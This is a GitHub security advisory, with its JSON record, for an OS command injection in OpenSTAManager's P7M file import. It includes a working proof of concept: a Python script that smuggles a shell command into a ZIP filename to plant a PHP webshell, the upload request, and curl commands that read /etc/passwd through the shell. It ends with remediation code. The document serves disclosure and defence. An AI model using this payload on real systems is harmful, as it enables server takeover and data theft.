GHSA-25FP-8W8P-MX36

Vulnerability from github – Published: 2026-02-06 17:59 – Updated: 2026-02-06 22:11
VLAI?
Summary
OpenSTAManager has an OS Command Injection in P7M File Processing
Details

Summary

A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.

Vulnerable Code

File: src/Util/XML.php:100

public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $content = file_get_contents($file);

    $output_file = $directory.'/'.basename($file, '.p7m');

    try {
        if (function_exists('exec')) {
            // VULNERABLE - No input sanitization!
            exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);

The Problem: - The $file parameter is passed directly into exec() without sanitization - Although wrapped in double quotes, an attacker can escape them - The filename comes from uploaded ZIP archives (user-controlled)

Attack Vector

Entry Points:

  1. plugins/importFE_ZIP/actions.php:126 (when automatic import is enabled) php foreach ($files_xml as $xml) { if (string_ends_with($xml, '.p7m')) { $file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!

  2. plugins/importFE/src/FatturaElettronica.php:56 (constructor) php if (string_ends_with($name, '.p7m')) { $file = XML::decodeP7M($this->file); // $name from user input!

Attack Flow:

  1. Attacker creates ZIP with malicious filename
  2. Upload ZIP via importFE_ZIP plugin
  3. Application extracts ZIP and iterates files
  4. For .p7m files, decodeP7M() is called
  5. Malicious filename is injected into exec() command
  6. Arbitrary command executes as web server user

Proof of Concept

⚠️ IMPORTANT NOTE: PHP's ZipArchive::extractTo() splits filenames on / character. Payload must NOT contain / in commands. Use cd directory && command instead of absolute paths.

Step 1: Create Malicious ZIP

import zipfile

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

Step 2: Upload ZIP

POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip

[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"

save

------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"

14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"

48
------WebKitFormBoundaryBKunENXxjEx5VrRc--

image

image

Step 3: Exploitation Result

Response (500 error is expected - XML parsing fails AFTER command execution):

HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}

Verification - Webshell Created:

image

Step 4: Remote Code Execution

Webshell is publicly accessible without authentication:

$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]

image

Impact

  • Remote Code Execution: Full server compromise
  • Data Exfiltration: Access to all application data and database
  • Privilege Escalation: Potential escalation if web server runs with elevated privileges
  • Persistence: Install backdoors and maintain access
  • Lateral Movement: Pivot to other systems on the network

Prerequisites

  • Authenticated user with access to invoice import functionality

Remediation

Input Sanitization

public static function decodeP7M($file)
{
    // Validate that file path doesn't contain shell metacharacters
    if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
        throw new \Exception('Invalid file path');
    }

    // Better: use escapeshellarg()
    $safe_file = escapeshellarg($file);
    $safe_output = escapeshellarg($output_file);

    exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}

or

Validate Filename Before Processing

// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
    // Only allow alphanumeric, dots, dashes, underscores
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; // Skip invalid filenames
    }

    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

Credit

Discovered by: Łukasz Rybak

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.9.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T17:59:37Z",
    "nvd_published_at": "2026-02-06T19:16:07Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nA critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.\n\n\n## Vulnerable Code\n**File:** `src/Util/XML.php:100`\n\n```php\npublic static function decodeP7M($file)\n{\n    $directory = pathinfo($file, PATHINFO_DIRNAME);\n    $content = file_get_contents($file);\n\n    $output_file = $directory.\u0027/\u0027.basename($file, \u0027.p7m\u0027);\n\n    try {\n        if (function_exists(\u0027exec\u0027)) {\n            // VULNERABLE - No input sanitization!\n            exec(\u0027openssl smime -verify -noverify -in \"\u0027.$file.\u0027\" -inform DER -out \"\u0027.$output_file.\u0027\"\u0027, $output, $cmd);\n```\n\n**The Problem:**\n- The `$file` parameter is passed directly into `exec()` without sanitization\n- Although wrapped in double quotes, an attacker can escape them\n- The filename comes from uploaded ZIP archives (user-controlled)\n\n## Attack Vector\n\n### Entry Points:\n1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)\n   ```php\n   foreach ($files_xml as $xml) {\n       if (string_ends_with($xml, \u0027.p7m\u0027)) {\n           $file = XML::decodeP7M($directory.\u0027/\u0027.$xml);  // $xml from ZIP!\n   ```\n\n2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)\n   ```php\n   if (string_ends_with($name, \u0027.p7m\u0027)) {\n       $file = XML::decodeP7M($this-\u003efile);  // $name from user input!\n   ```\n\n### Attack Flow:\n1. Attacker creates ZIP with malicious filename\n2. Upload ZIP via importFE_ZIP plugin\n3. Application extracts ZIP and iterates files\n4. For `.p7m` files, `decodeP7M()` is called\n5. Malicious filename is injected into `exec()` command\n6. Arbitrary command executes as web server user\n\n## Proof of Concept\n\n**\u26a0\ufe0f IMPORTANT NOTE:** PHP\u0027s `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory \u0026\u0026 command` instead of absolute paths.\n\n### Step 1: Create Malicious ZIP\n\n```python\nimport zipfile\n\ncmd = \"cd files \u0026\u0026 echo \u0027\u003c?php system($_GET[\\\"c\\\"]); ?\u003e\u0027 \u003e SHELL.php\"\nmalicious_filename = f\u0027invoice.p7m\";{cmd};echo \".p7m\u0027\n\nwith zipfile.ZipFile(\u0027exploit.zip\u0027, \u0027w\u0027) as zf:\n    zf.writestr(malicious_filename, b\"DUMMY_P7M_CONTENT\")\n```\n\n### Step 2: Upload ZIP\n\n```http\nPOST /actions.php HTTP/1.1\nHost: localhost:8081\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc\nCookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"blob1\"; filename=\"exploit.zip\"\nContent-Type: application/zip\n\n[ZIP CONTENT]\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\nContent-Disposition: form-data; name=\"op\"\n\nsave\n\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_module\"\n\n14\n------WebKitFormBoundaryBKunENXxjEx5VrRc\nContent-Disposition: form-data; name=\"id_plugin\"\n\n48\n------WebKitFormBoundaryBKunENXxjEx5VrRc--\n```\n\u003cimg width=\"2539\" height=\"809\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1\" /\u003e\n\n\u003cimg width=\"1543\" height=\"659\" alt=\"image\" src=\"https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be\" /\u003e\n\n### Step 3: Exploitation Result\n\n**Response (500 error is expected - XML parsing fails AFTER command execution):**\n```http\nHTTP/1.1 500 Internal Server Error\n{\"error\":{\"type\":\"Exception\",\"message\":\"Start tag expected, \u0027\u003c\u0027 not found\"}}\n```\n\n**Verification - Webshell Created:**\n\n\u003cimg width=\"1111\" height=\"239\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1\" /\u003e\n\n### Step 4: Remote Code Execution\n\n**Webshell is publicly accessible without authentication:**\n\n```bash\n$ curl \"http://localhost:8081/files/SHELL.php?c=id\"\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n$ curl \"http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd\"\n[Full /etc/passwd output]\n```\n\u003cimg width=\"698\" height=\"475\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d\" /\u003e\n\n\n## Impact\n\n- **Remote Code Execution:** Full server compromise\n- **Data Exfiltration:** Access to all application data and database\n- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges\n- **Persistence:** Install backdoors and maintain access\n- **Lateral Movement:** Pivot to other systems on the network\n\n## Prerequisites\n\n- Authenticated user with access to invoice import functionality\n\n## Remediation\n\n###  Input Sanitization\n\n```php\npublic static function decodeP7M($file)\n{\n    // Validate that file path doesn\u0027t contain shell metacharacters\n    if (preg_match(\u0027/[;\u0026|`$(){}\\\\[\\\\]\u003c\u003e]/\u0027, $file)) {\n        throw new \\Exception(\u0027Invalid file path\u0027);\n    }\n\n    // Better: use escapeshellarg()\n    $safe_file = escapeshellarg($file);\n    $safe_output = escapeshellarg($output_file);\n\n    exec(\"openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output\", $output, $cmd);\n}\n```\nor\n\n### Validate Filename Before Processing\n\n```php\n// In the upload handler, validate filenames from ZIP\nforeach ($files_xml as $xml) {\n    // Only allow alphanumeric, dots, dashes, underscores\n    if (!preg_match(\u0027/^[a-zA-Z0-9._-]+$/\u0027, $xml)) {\n        continue; // Skip invalid filenames\n    }\n\n    if (string_ends_with($xml, \u0027.p7m\u0027)) {\n        $file = XML::decodeP7M($directory.\u0027/\u0027.$xml);\n    }\n}\n```\n\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
  "id": "GHSA-25fp-8w8p-mx36",
  "modified": "2026-02-06T22:11:47Z",
  "published": "2026-02-06T17:59:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69212"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenSTAManager has an OS Command Injection in P7M File Processing"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…